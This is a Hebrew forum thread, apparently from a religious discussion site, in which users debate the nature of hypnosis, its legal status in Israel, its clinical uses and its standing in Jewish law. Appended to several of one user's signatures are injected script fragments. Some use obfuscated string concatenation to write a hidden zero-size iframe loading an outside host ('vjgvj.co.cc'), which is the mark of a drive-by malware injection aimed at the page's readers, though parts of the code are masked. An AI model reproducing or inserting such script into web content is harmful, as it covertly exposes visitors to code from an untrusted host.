| נשלח ב-5/7/2015 07:56 |
 |
| |
היפנוט
חוקי ?
מה התורה אומרת על היפנוט , האם זה נטילת הבחירה מהבן אדם , האם זזה חוקי לפי חוקות הגויים ?
|
|
|
|
| נשלח ב-5/7/2015 19:22 |
|
| |
| ירוחםשמ כתב: |  | מואדיב
אכן פראו דוקטור הגדרת נכון. המהופנט אכן מודע לסביבתו . ופועל בהתאם לציווי המהפנט.
העלמת היבלת בהיפנוזה אפשרית, רק אם היבלת גדלה כתוצאה מטראומה נפשית. |
|
ירוחם,
כשאני כותב "יבלת ויראלית" - אתה אמור להבין שמדובר כאן בהידבקות בווירוס, לא ביבלת שצמחה כתוצאה מטראומה, נפשית או אחרת.
והתוצאות המחקריות חד-משמעיות בנושא זה.
ראה למשל את המאמרים הבאים:
|
|
|
|
| נשלח ב-5/7/2015 13:06 |
|
| |
מואדיב
אכן פראו דוקטור הגדרת נכון. המהופנט אכן מודע לסביבתו . ופועל בהתאם לציווי המהפנט.
העלמת היבלת בהיפנוזה אפשרית, רק אם היבלת גדלה כתוצאה מטראומה נפשית.
|
|
|
|
| נשלח ב-5/7/2015 12:39 |
|
| |
| ירוחםשמ כתב: | | הרב מימוני.
האגדות על ההיפנוזה. לא תמיד נכונות. האם אתה או מואדיב ראיתם פעם אדם מהופנט הפנוט עמוק? נדמה לי שלא. ההיפנוזה זו סוגסטיה בצורה זו או אחרת. רק בסרטים אדם הופך לזומבי בשעת ההיפנוט. |
|
כבר הקדמתי שבנושאים אלו אני מדבר מכלי שני - אני ה"פראו דוקטור" במקרה הזה.
אך לו אהיה כשפחתו של רבי לרגע - הגדר "היפנוט עמוק". אדם שמבצעים בו טיפול שיניים ללא הרדמה, זה היפנוט עמוק בעיניך? כי הוא ממשיך לתקשר ולדבר עם סביבתו כרגיל, והוא מודע לכך שהכאב 'הועלם' על ידי היפנוזה - ובכל זאת זה עובד. אדם מגיע עם יבלת ויראלית אל הרופא, והרופא מסביר לו שהטיפול ההיפנוטי יעלים את היבלת, ואחר כך האדם הולך הביתה. ו...תוך כשבוע היבלת נעלמה. ההסבר היה בעצם הטיפול - כשנעשה בצורה הנכונה. זה היפנוט עמוק או לא, מבחינתך?
(שתי הדוגמאות כאן אינן יוצאות דופן)
|
|
|
|
| נשלח ב-5/7/2015 12:36 |
|
| |
| מיימוני כתב: | | מואדיב
איקון ירוק לך ולמואדיבה.
ומה היא כמומחית מוסמכת אומרת על מצב היפנוטי? איך זה מוסבר לדעתה? כמצב של שקיעות בדמיון או כמצב אחר של תודעה? בהנחה שיש הבדל בין שני הסברים אלו?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
אתה רוצה תשובה? חושני שזה ידרוש כמה שעות של הסברים. קיבלתי כמה חודשים של הסברים כאלו, בתקופת ההכשרה הרלבנטית. זה בעיקר שונה מאד מרוב הדימויים שיש לנו בראש.
|
|
|
|
| נשלח ב-5/7/2015 12:25 |
|
| |
הרב מימוני.
האגדות על ההיפנוזה. לא תמיד נכונות. האם אתה או מואדיב ראיתם פעם אדם מהופנט הפנוט עמוק? נדמה לי שלא. ההיפנוזה זו סוגסטיה בצורה זו או אחרת. רק בסרטים אדם הופך לזומבי בשעת ההיפנוט.
|
|
|
|
| נשלח ב-5/7/2015 12:15 |
|
| |
מואדיב
איקון ירוק לך ולמואדיבה.
ומה היא כמומחית מוסמכת אומרת על מצב היפנוטי? איך זה מוסבר לדעתה? כמצב של שקיעות בדמיון או כמצב אחר של תודעה? בהנחה שיש הבדל בין שני הסברים אלו?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-5/7/2015 12:03 |
|
| |
.
לפני שאצטט את המואדיבה, אקדים שבנושאים אלו היא בת-סמכא, גם על פי ההכשרה וגם על פי החוק.
"אי אפשר להפנט אדם, אפשר לסיע לו להפנט את עצמו".
ואידך פירושא הוא, זיל גמור.
|
|
|
|
|
| נשלח ב-5/7/2015 11:37 |
|
| |
ירוחם
תודה על המילים הטובות.
האם השימוש שלך במילה "היפנוזה" אינו חריג יחסית לשימושים שעליהם הצבעתי קודם?
בוודאי שיתכן שבאבא (וכל הדומים לו) אכן יכניס את הנוח להשאה (=השפעה היפנוטית והשתלטות חיצונית) למצב כזה. אבל האם זה מה שקורה בפועל?
יתכן שיש כאן מידרג, כאשר יש פניות בין אדם לחברו שמתבצעות ברמה רציונלית ומודעת, ויש שמנצלות חולשה של צד אחד או יתרון של הצד השני. יש לכך דוגמאות רבות, למרבה הצער.
יתכן גם שמקובלים ובאבות נהנים ממעמד מועדף בעיני הפונה אליהם ולכן הוא יהיה נוח לקבל השפעה. אבל עדיין דומה בעיני שההבדל בין מצב היפנוטי לבין מצב של שיכנוע לא הגון הוא הבדל של איכות ולא רק של רמה.
כלומר, אם נדרג את ההשפעות כך:
א. שיחה ברמה של טיעונים תוך כבוד הדדי (כמו האידיאל של עצור כאן חושבים).
ב. שימוש באמצעי שיכנוע פחות מודעים (מצוי גם אצלנו...)
ג. פירסומות
ד. הטפות
...
יא. הוראה של בעל סמכות למי שמאמין בו.
יב. יצירת אמונה או תביעה להתנהגות מסויימת מצד בעל סמכות כלפי המאמין בו תוך שימוש בכריזמה שלו.
...
יח. כניסה של המושפע למצב היפנוטי.
נראה לי שהפונים לבאבות בדרך כלל מעוניינים להכניס את עצמם למצבים שדורגו כאן לאחר יא. אבל הם לא נמצאים במצב של סעיף יח.
***
הפרשנות שלך ל"כפה עליהם הר כגיגית" שהוא הכניס את העם למצב היפנוטי או ל"מצב תודעה אחר" היא מחודשת עבורי. מעניינת ביותר אבל כמדומה שאינה עולה בקנה אחד עם הקריאה האופיינית בתלמוד כאן.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-5/7/2015 11:15 |
|
| |
הרב מימוני
הרחבת והסברת כידך הטובה. היפנוזה קיימת בשלבים שונים. כל בבא רנטגן מקובל רב ובעיקר רבי מהפנטים את האדם המקשיב או הסוגד להם, בצורה זו או אחרת, עד כדי התמסרות כללית, כולל יחסי מין ופעולות שליליות אחרות.. לא מרצון המודע.
י המסבירים את המושג כפה עליהם הר כגיגית- העם היה בטרנס, = היפנוטי.
|
|
|
|
| נשלח ב-5/7/2015 09:17 |
|
| |
מעניין, ברגע שחתכתי את הקטעים באנגלית, הכל נדבק.
מה חסר?
העתקה מתחילת ויקי באנגלית. לא נורא כי תימצתתי בעברית.
הביטוי האנגלי ל"מצבי תודעה אחרים". זה דבר שכדאי להכיר. מה לעשות, הכלבים אינם מאפשרים לומר את הביטוי באנגלית (פרפרזה על משל של המגיד מדובנא).
עברי, כתוב עברית באתר הזה!
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-5/7/2015 09:11 |
|
| |
יש לי המשך, אבל הפלטפורמה דוחה אותו, וכל נסיונותי לשכנע אותה להרשות אותו עולים בתוהו.
בקצרה, כדאי להסתכל בתחילת ויקי באנגלית שבה יש הסבר קצר על הגישות השונות להסבר מהי היפנוזה.
נסיון נוסף:
היפנוזה היא מצב תודעה עם שלושה איפיונים. מיקוד התודעה באופן צר (כלומר רק במה שהמהפנט מפנה אליו), וממילא התעלמות מגורמים אחרים (כגון קור וחום, ידיעה שיש עוד אנשים מסביב ועוד, לפי הדיווחים והדוגמאות של היפנוזה בידורית) וכן נטיה מוגברת לציית למה שמכנים "השאות" כלומר הוראות ויצירת אמונות ורצונות בידי המהפנט.
מה קורה בתוך האדם? כאן יש שתי גישות.
יש שרואים כאן "מצב תודעה שונה" במסגרת תפיסה מחקרית שעוסקת ב"מצבי תודעה שונים" או (אנגלית מעצבנת את האתר?)
ויש שמסתפקים בטענה קלה הרבה יותר, שמדובר במשחק תפקידים דמיוני.
דומה שהדיווחים על דוגמאות היפנוטיות מצדיקים את הפניה לסוג ההסבר הראשון, על מצבי תודעה "אחרים", אבל הדיון על "מצבי תודעה אחרים" מחייב לכאורה פניה אל הנחות יסוד לגבי מהותה של הנפש, יכולתה לחוות תופעות שנראות חריגות לספקנים, ויותר מכך. וזה אולי הנושא המעניין ביותר, מפני שהוא עשוי לחשוף לגבי עצמנו דברים שלא היינו מאמינים שהם אפשריים. כמובן, יש צורך בזהירות רבה, גם באיסוף הנתונים, וגם בפרשנותם.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling="no" src="ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"" frameborder="0" height="0px" width="0px"><*");
תוקן על ידי מיימוני ב- 05/07/2015 09:14:36
|
|
|
|
|
| נשלח ב-5/7/2015 08:50 |
|
| |
אפגעהיטן
ברוך הבא אל הפורום!
שאלת שאלה קצרה, אולי קצרה מדי, אבל עדיין פתחת נושא מעניין.
(נא עיין בחוקת הפורום ותראה שמשתתף חדש צריך לקבל אישור לנושא שלו לאשכול חדש, ומן הראוי היה שתפנה אלי להצגת האשכול לקבלת אישור, ונא להקפיד בפעם הבאה).
מה צריך להרחיב:
א. מהו היפנוט. איך זה עובד.
ב. מה הן הסכנות בהיפנוט? מה קובע החוק?
ג. האם היפנוט יכול להתערב בבחירה חופשית של אדם. וזה מוביל לשאלה המורכבת, שאפילו אשכול אחד לא יספיק לה, ויש כבר כמה (ואפשר עוד) מהי בחירה חופשית. ואיך זה קורה, ומה היחס בין הגוף לנפש.
ד. מה אומרת ההלכה.
***
כדי להסביר מהי היפנוזה, המקור הראשון הוא כמובן ויקיפדיה.
אני מעתיק כמה קטעים.
היפנוזה (ביוונית: היפנוס - "שינה") היא בעיקרה תהליך נפשי בו האדם המוגדר כמהפנט מציע בעזרת סוגסטיות (בעברית: השאות), לאדם אחר המוגדר כמהופנט לחוות סדרה של שינויים שונים בתחושה, תפיסה, קוגניציה, רגש, תהליכים פיזיולוגיים והתנהגות מוטורית. אנשים בעלי היענות גבוהה לסוגסטיות מדווחים שסוגסטיות היפנוטיות יוצרות מצב תודעה חליפי השונה באופן מהותי ממצב של מודעות רגילה. רוב המהופנטים מתארים מצב זה כמצב מהנה של ריכוז מוגבר. היפנוזה איננה טיפול כשלעצמה, אך איש מקצוע מיומן יכול ליעל ולשפר את תהליך האבחון והטיפול בבעיה גופנית או נפשית באמצעותה. חוק ההיפנוזה בישראל אוסר על אנשים שלא הוסמכו בידי המדינה (והם אך ורק רופאים, פסיכולוגים, או רופאי שיניים) לטפל באמצעות היפנוזה. חוק זה גם אוסר על שימוש בהיפנוזה למטרות בידוריות. בחלק ממדינות העולם ישנם חוקים דומים, ובאחרות, השימוש בהיפנוזה למטרות רפואיות או בידוריות אינו מוגבל בידי המחוקק.
ובכן, קיבלנו שתי תשובות. מצד החוק, היפנוזה אסורה כל עוד אינה מתבצעת בידי איש מקצוע שהוסמך לכך, בדיוק כמו כל טיפול רפואי ופסיכולוגי.
על השאלה המרתקת מהי היפנוזה ומה קורה במהלכה, אין כאן למרבה הצער תשובה. יש רק אמירה קצרה ופשטנית לדעתי.
הטראנס ההיפנוטי אחת מנקודות המחלוקת העיקריות בקרב חוקרים וקלינאים בתחום ההיפנוזה נוגעת בשאלה האם מדובר במצב תודעה ייחודי (קרי - הטראנס ההיפנוטי) או שמדובר בשרשרת תופעות "רגילות" (כגון ריכוז גבוה ומיקוד צר של הקשב) היוצרות את החוויה ההיפנוטית. יתכן שהשאלה שפתחה את האשכול נועדה להעלות חשש מפורסם. היפנוזה יכולה לגרום לאדם להאמין שהוא נמצא במצב שונה ממה שהוא באמת, אפילו להאמין שהוא שוב ילד, או שהוא עושה דברים שרחוקים מאד ממצבו (למשל, לאכול בצל ולחשוב שזו גלידה). אפשר גם, לפי הסיפורים, להטיל עליו לאחר שיתעורר לעשות מעשים, והוא יעשה אותם וימציא הסברים מדוע הוא עושה אותם. האם זה אומר שאפשר לגרום לו לעשות דברים שמנוגדים לערכיו? האם אפשר לגרום למישהו לרצוח (יש שמועה שהמודיעין הישראלי ניסה לגרום למחבל להתנקש בערפאת אבל זה לא עבד. לא ידוע לי על הסיפור מעבר לכך). התשובה הידועה היא שאי אפשר לכפות על אדם מעשה נגד ערכיו.
כל זה מעורר את השאלות כיצד זה עובד. מה משתנה אצל האדם במצב היפנוטי? החויה? הפרשנות שלה? ומדוע הוא ממשיך להיות כפוף למה שהוחדר לו בזמן ההיפנוזה?
אין לי תשובות לשאלות אלו, לפחות בלי עיון נוסף, אבל כדאי לעמוד עליהן כי זו התחלתו של דיון.
אחרון חביב, מה דעת ההלכה. ובכן, האם ההלכה אמורה להתערב בכך, ומכוח מה? זה תלוי גם בנסיבות שבהן נעשה ההיפנוט, ובאיזו רמה. יש היפנוט רפואי ופסיכולוגי או משטרתי (דוגמאות: אדם עובר היפנוזה כדי להקל על טיפול קשה פיזית או פסיכולוגית, כגון מי שחושש מטיפול שינים, או כדי להיזכר במידע שקלט עבור חקירה משטרתית) ויש היפנוט בידורי (היו מופעים כאלו ודומה שעדיין יש). האם יש להלכה מה לומר עליהם? האם מותר לאדם לאפשר להפנט אותו? האם מותר לאדם להפנט אחרים עם הסכמתם או נגד רצונם, אם זה אפשרי? באלו סעיפים זה כתוב בשולחן ערוך? הסברה הפשוטה היא שכל התערבות בחיי האדם שגורמת לו נזק תהיה אסורה, גם אם לא תמיד נדע להצביע על הסעיף והסימן האוסרים זאת. קשה יותר למצוא את המקור לכך שאסור לאדם למסור עצמו ביד מהפנט למען מטרות פסולות. אבל לא כל דבר כתוב במפורש. אכן ראוי להרחיב את הדיון בדבר.
לא כתבתי כאן אלא קוים מנחים. הנושא נראה מעניין ביותר!
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
|
